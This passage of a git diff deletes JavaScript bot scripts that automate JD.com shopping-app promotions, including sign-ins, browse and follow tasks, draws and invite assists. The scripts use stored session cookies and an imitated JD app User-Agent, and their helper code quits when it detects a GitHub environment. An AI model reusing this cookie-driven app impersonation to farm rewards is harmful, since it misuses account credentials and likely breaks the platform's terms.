- if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【小窝名】${data.body.name}\n`; - $.woB = data.body.woB; - message += `【当前WO币】${data.body.woB}\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取需要关注的频道列表 -function queryChannelsList(taskId) { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-task-channels/queryChannelsList/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - $.queryChannelsList = data.body; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//浏览频道,浏览会场,浏览商品,浏览店铺API -function browseChannels(functionID ,taskId, browseId) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}/${browseId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - console.log(`${functionID === 'browseChannels' ? '浏览频道' : functionID === 'browseMeetings' ? '浏览会场' : functionID === 'browseShops' ? '浏览店铺' : '浏览商品'}`, data) - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//记录已关注的频道 -function queryDoneTaskRecord(taskId, taskType) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/queryDoneTaskRecord/${taskType}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//一键关注店铺,一键加购商品API -function followShops(functionID, taskId) { - return new Promise(async resolve => { - $.get(taskUrl(`/ssjj-task-record/${functionID}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - console.log(`${functionID === 'followShops'? '一键关注店铺': '一键加购商品'}结果:${data.head.msg}`); - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//关注频道API -function followChannel(taskId, channelId) { - return new Promise(async resolve => { - $.get(taskUrl(`/ssjj-task-record/followChannel/${channelId}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - // message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function createInviteUser() { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/createInviteUser`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - if (data.body.id) { - console.log(`\n您的${$.name}shareCode(每天都是变化的):【${data.body.id}】\n`); - $.shareCode = data.body.id; - $.newShareCodes.push({ 'code': data.body.id, 'token': $.token, cookie }); - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function createAssistUser(inviteId, taskId) { - console.log(`${inviteId}, ${taskId}`, `${cookie}`); - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/createAssistUser/${inviteId}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - console.log(`\n给好友${data.body.inviteId}:【${data.head.msg}】\n`) - } - } else { - console.log(`助力失败${JSON.stringify(data)}}`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function game(taskId, index, awardWoB = 100) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/game/${index}/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【限时连连看】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function clock(taskId, awardWoB) { - return new Promise(resolve => { - $.get(taskUrl(`/ssjj-task-record/clock/${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【每日打卡】成功,活动${awardWoB}WO币\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryAllTaskInfo() { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-task-info/queryAllTaskInfo/2`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - $.taskList = data.body; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//免费抽奖 -function drawRecord(id) { - return new Promise(resolve => { - $.get(taskUrl(`ssjj-draw-record/draw/${id}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - if (data.body) { - message += `【免费抽奖】获得:${data.body.name}\n`; - } else { - message += `【免费抽奖】未中奖\n`; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询免费抽奖机会 -function queryDraw() { - return new Promise(resolve => { - $.get(taskUrl("ssjj-draw-center/queryDraw"), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - $.freeDrawCount = data.body.freeDrawCount;//免费抽奖次数 - $.lotteryId = data.body.center.id; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//查询是否开启了此活动 -function ssjjRooms() { - return new Promise(resolve => { - $.get(taskUrl("ssjj-rooms/info/%E5%AE%A2%E5%8E%85"), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.head.code === 200) { - $.isUnLock = data.body.isUnLock; - if (!$.isUnLock) { - console.log(`京东账号${$.index}${$.nickName}未开启此活动\n`); - //$.msg($.name, '', `京东账号${$.index}${$.nickName}未开启此活动\n点击弹窗去开启此活动( ̄▽ ̄)"`, {"open-url": "openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html%22%20%7D"}); - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function loginHome() { - return new Promise(resolve => { - const options = { - "url": "https://jdhome.m.jd.com/saas/framework/encrypt/pin?appId=6d28460967bda11b78e077b66751d2b0", - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "0", - "Content-Type": "application/json", - "Cookie": cookie, - "Host": "jdhome.m.jd.com", - "Origin": "https://jdhome.m.jd.com", - "Referer": "https://jdhome.m.jd.com/dist/taro/index.html/", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - await login(data.data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -function login(userName) { - return new Promise(resolve => { - const body = { - "body": { - "client": 2, - userName - } - }; - const options = { - "url": `${JD_API_HOST}/user-info/login`, - "body": JSON.stringify(body), - "headers": { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Origin": "https://lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.head.code === 200) { - $.token = data.head.token; - $.helpToken.push(data.head.token) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function updateInviteCode(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateSmallHomeInviteCode.json') { - return new Promise(resolve => { - $.get({url}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } else { - $.inviteCodes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function updateInviteCodeCDN(url) { - return new Promise(async resolve => { - $.get({url, headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}, timeout: 200000}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.inviteCodes = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(3000) - resolve(); - }) -} -function taskUrl(url, body = {}) { - return { - url: `${JD_API_HOST}/${url}?body=${escape(body)}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "content-type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "token": $.token, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function taskPostUrl(url) { - return { - url: `${JD_API_HOST}/${url}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9", - "Connection": "keep-alive", - "content-type": "application/json", - "Host": "lkyl.dianpusoft.cn", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", - "token": $.token, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} -function sortByjdBeanNum(a, b) { - return a['jdBeanNum'] - b['jdBeanNum']; -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_speed_signfaker.js b/backUp/jd_speed_signfaker.js deleted file mode 100644 index ffb27fb..0000000 --- a/backUp/jd_speed_signfaker.js +++ /dev/null @@ -1,818 +0,0 @@ -/* -京东极速版签到+赚现金任务 -每日9毛左右,满3,10,50可兑换无门槛红包 -⚠️⚠️⚠️一个号需要运行40分钟左右 - -活动时间:长期 -活动入口:京东极速版app-现金签到 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东极速版 -21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true - -================Loon============== -[Script] -cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 - -===============Surge================= -京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js - -============小火箭========= -京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true -*/ - -const $ = new Env('京东极速版任务'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - - -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; - - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdGlobal() - await $.wait(2*1000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdGlobal() { - try { - await richManIndex() - - await wheelsHome() - await apTaskList() - await wheelsHome() - - // await signInit() - // await sign() - await invite() - await invite2() - $.score = 0 - $.total = 0 - await taskList() - await queryJoy() - // await signInit() - await cash() - await showMsg() - } catch (e) { - $.logErr(e) - } -} - - -function showMsg() { - return new Promise(resolve => { - message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} - -async function signInit() { - return new Promise(resolve => { - $.get(taskUrl('speedSignInit', { - "activityId": "8a8fabf3cccb417f8e691b6774938bc2", - "kernelPlatform": "RN", - "inviterId":"U44jAghdpW58FKgfqPdotA==" - }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - //console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function sign() { - return new Promise(resolve => { - $.get(taskUrl('speedSign', { - "kernelPlatform": "RN", - "activityId": "8a8fabf3cccb417f8e691b6774938bc2", - "noWaitPrize": "false" - }), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === 0) { - console.log(`签到获得${data.data.signAmount}现金,共计获得${data.data.cashDrawAmount}`) - } else { - console.log(`签到失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function taskList() { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', { - "version": "3.1.0", - "method": "newTaskCenterPage", - "data": {"channel": 1} - }), - async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - for (let task of data.data) { - $.taskName = task.taskInfo.mainTitle - if (task.taskInfo.status === 0) { - if (task.taskType >= 1000) { - await doTask(task.taskType) - await $.wait(1000) - } else { - $.canStartNewItem = true - while ($.canStartNewItem) { - if (task.taskType !== 3) { - await queryItem(task.taskType) - } else { - await startItem("", task.taskType) - } - } - } - } else { - console.log(`${task.taskInfo.mainTitle}已完成`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doTask(taskId) { - return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', { - "method": 